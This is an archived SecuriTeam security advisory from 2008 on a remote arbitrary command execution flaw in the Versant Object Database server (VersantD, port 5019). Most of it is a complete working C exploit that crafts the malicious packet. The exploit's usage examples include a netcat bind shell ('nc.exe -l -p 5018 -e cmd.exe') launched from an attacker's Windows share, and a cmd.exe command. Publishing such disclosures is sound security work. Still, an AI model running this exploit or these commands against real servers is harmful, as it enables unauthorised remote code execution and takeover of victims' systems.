[NT] Versant Object Database Arbitrary Commands Execution
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 6 Mar 2008 11:55:10 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Versant Object Database Arbitrary Commands Execution
------------------------------------------------------------------------
SUMMARY
"The <http://www.versant.com/en_US/products/objectdatabase> Versant
Object Database is the market leader in object databases. Using Versant
Object Database for data storage brings powerful advantages to
applications that use complex C++ and Java object models, have high
concurrency requirements, and large data sets. The Versant Object Database
is designed to handle the navigational access, seamless data distribution,
and enterprise scale often required by these applications." The Versant
Object Database has been found to contain a vulnerability that allows
remote attackers to cause the product to execute arbitrary commands.
The Versand server is used also in other stand-alone products like, for
example, Borland CaliberRM which naturally are vulnerable too.
DETAILS
Vulnerable Systems:
* Versant Object Database version 7.0.1.3
VersantD is the service used for managing the Versant database and by
default listens on port 5019 with the subsequent assigning of a new port
after a client connects to it, so the client connects to port 5019 where
is handled by the ss.exe process and after the initial exchange of data
the connection continues on the new port.
The first incredible thing which happens when a client connects is that
the full paths which will be used by the server to launch the needed
programs or locate the database files are passed directly by the same
client.
That means for example that if a client passes c:\folder in the
VERSANT_ROOT field, the server will run (in case the "-utility" command is
used) "c:\folder\bin\obe.exe -version 7.0.1 -dbtype + -nettype 2 -arch 11
-utility -soc 220 o_oscp" through the vs_prgExecAsync function.
Then using a custom command value (at the place of the "-utility" showed
before) beginning with the "..\" pattern for removing the "\bin\" folder
added by the server forces it to execute not only a custom executable
decided by the attacker but also any additional argument too.
Naturally is also possible to execute remote commands not available on the
server through, for example, the Windows shares simply using
\\myhost\myfolder as path.
So, resuming, through the Versant server an attacker can execute any local
or remote custom command.
The following is the full command-line executed through a custom command
value (in my proof-of-concept there is the explanation of all the fields)
with the parameters supplied by the client in upper case:
"VERSANT_ROOT\bin\OUR_COMMAND OUR_ARGUMENTS -noprint -username
VERSANT_USER -release VERSANT_REL -rootpath VERSANT_ROOT -dbpath
VERSANT_DB -dbidpath VERSANT_DBID -dbidnode VERSANT_DBID_NODE
DATABASE_NAME -posterrstk"
It's enough to use a line-feed at the end of our arguments for dropping
all the useless stuff which starts from "-noprint".
Note: all the tests have been performed on the Windows version of the
server so the exploitation could differ a bit on the other supported
platforms.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/versantcmd.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 5019
#define BUFFSZ 0x800
int tcp_recv(int sd, u8 *buff, int len);
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
sz1,
sz2,
sz3;
u16 port = PORT;
u8 buff[BUFFSZ],
versant_root[BUFFSZ],
versant_command[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Versant server <= 7.0.1.3 arbitrary commands execution "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <host/path> <command> <host> [port(%hu)]\n"
"\n"
"Examples:\n"
" versantcmd \"c:\" \"..\\windows\\system32\\cmd.exe /c echo
hello > c:\\bug.txt\" 192.168.0.1\n"
" versantcmd \"\\\\myhost\\folder\" \"..\\nc.exe -l -p 5018
-e cmd.exe\" 192.168.0.1\n"
"\n", argv[0], port);
exit(1);
}
sprintf(versant_root, "%.*s", sizeof(versant_root), argv[1]);
sprintf(versant_command, "%.*s", sizeof(versant_command) - 1,
argv[2]);
strcat(versant_command, "\n"); // no other boring arguments
if(argc > 4) port = atoi(argv[4]);
peer.sin_addr.s_addr = resolv(argv[3]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
sz1 = 2;
sz2 = 2;
sz3 = (((sz2 + 1) & (-2)) + (sz1 * 2) + 12) * 2;
memset(buff, 0, BUFFSZ);
p = buff;
p += putxx(p, 1, 16); // <= 5
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, sz1, 16);
p += putxx(p, sz2, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, sz1 * 4);
p += putxx(p, 1, 16);
p += putxx(p, 0, 16);
p = buff + sz3;
p += putss(p, "o_dblist"); // database name, max 0x120
p += putss(p, "Administrator"); // VERSANT_USER setenv
p += putss(p, "7.0.1"); // VERSANT_REL max 9
while((p - buff) & 3) *p++ = 0; // padding
p += putxx(p, 11, 32);
p += putxx(p, 0x100, 32); // VERSANT_NET_BUFSIZE and
NET_BUFSIZE setenv <= 0x800
p += putxx(p, 0, 16);
p += 2; // padding or just unused
p += putxx(p, 0, 16);
p += putxx(p, 0, 8);
p += putxx(p, 0, 8);
p += putss(p, "hostname");
p += putss(p, versant_root); // VERSANT_ROOT setenv
p += putss(p, "c:\\versant_db"); // VERSANT_DB setenv
p += putss(p, "c:\\versant_dbid"); // VERSANT_DBID setenv
p += putss(p, "DBID_NODE"); // VERSANT_DBID_NODE setenv
p++; // now the parameters you see
above are rehandled again... totally crazy!!!
p += putss(p, "");
p += putss(p, "");
p += putss(p, "");
p += putss(p, "");
p += putss(p, "SERVICE_NAME"); // VERSANT_SERVICE_NAME setenv
p += putss(p, versant_command); // -license -restore -activedb
-utility -systemService
// if none of them is selected
will be called ut_execCommand: database VERSANT_USER VERSANT_REL -command
VERSANT_ROOT VERSANT_DB VERSANT_DBID VERSANT_DBID_NODE
if((p - buff) > BUFFSZ) {
printf("\nError: your string is longer than NET_BUFSIZE, %u\n", p
- buff);
exit(1);
}
printf(
"- try to execute the following full command:\n"
" %s\\bin\\%s",
versant_root, versant_command);
send(sd, buff, BUFFSZ, 0);
printf(
"- wait some seconds to see if the server sends its reply, which
means the new\n"
" process you have launched is terminated\n");
for(;;) {
if(timeout(sd, 5) < 0) {
printf("- timeout\n");
break;
}
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
show_dump(buff, len, stdout);
}
close(sd);
printf("- done\n");
return(0);
}
int tcp_recv(int sd, u8 *buff, int len) {
int t;
u8 *p;
for(p = buff; len; p += t, len -= t) {
if(timeout(sd, 3) < 0) return(-1);
t = recv(sd, p, len, 0);
if(t <= 0) return(-1);
}
return(0);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putss(u8 *data, u8 *str) {
int len;
len = strlen(str) + 1;
memcpy(data, str, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/versantcmd-adv.txt>
http://aluigi.altervista.org/adv/versantcmd-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Borland VisiBroker Smart Agent Heap Overflow
- Next by Date: [NT] Borland StarTeam Server Multiple Integer Overflows
- Previous by thread: [NT] Borland VisiBroker Smart Agent Heap Overflow
- Next by thread: [NT] Borland StarTeam Server Multiple Integer Overflows
- Index(es):
Relevant Pages
- [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows)
... The buffers in which the server stores these two strings have a size of 64 ...
int alen, ulen; ... (Securiteam) - [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... cfservd daemon in Cfengine
2.x prior to version 2.0.8. ... unsigned int len = 0; ... void getshell;
... (Securiteam) - [NT] Stronghold DoS
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining
the server is locatd the client's nickname ... unsigned char *gssdkcr( ...
void show_info(u_char *data, int len); ... (Securiteam) - [UNIX] Remote Format String Vulnerabilities in eXtremail Server (MAIL FROM, Reappearing)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... to promote the most advanced
vulnerability assessment solutions today. ... int send_sock; ... strncat (buf,
"a", 1); ... (Securiteam) - [NT] eTrust Secure Content Manager Denial of Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int putxx(u8 *data, u32
num, int bits); ... send(sd, buff, p - buff, 0); ... (Securiteam)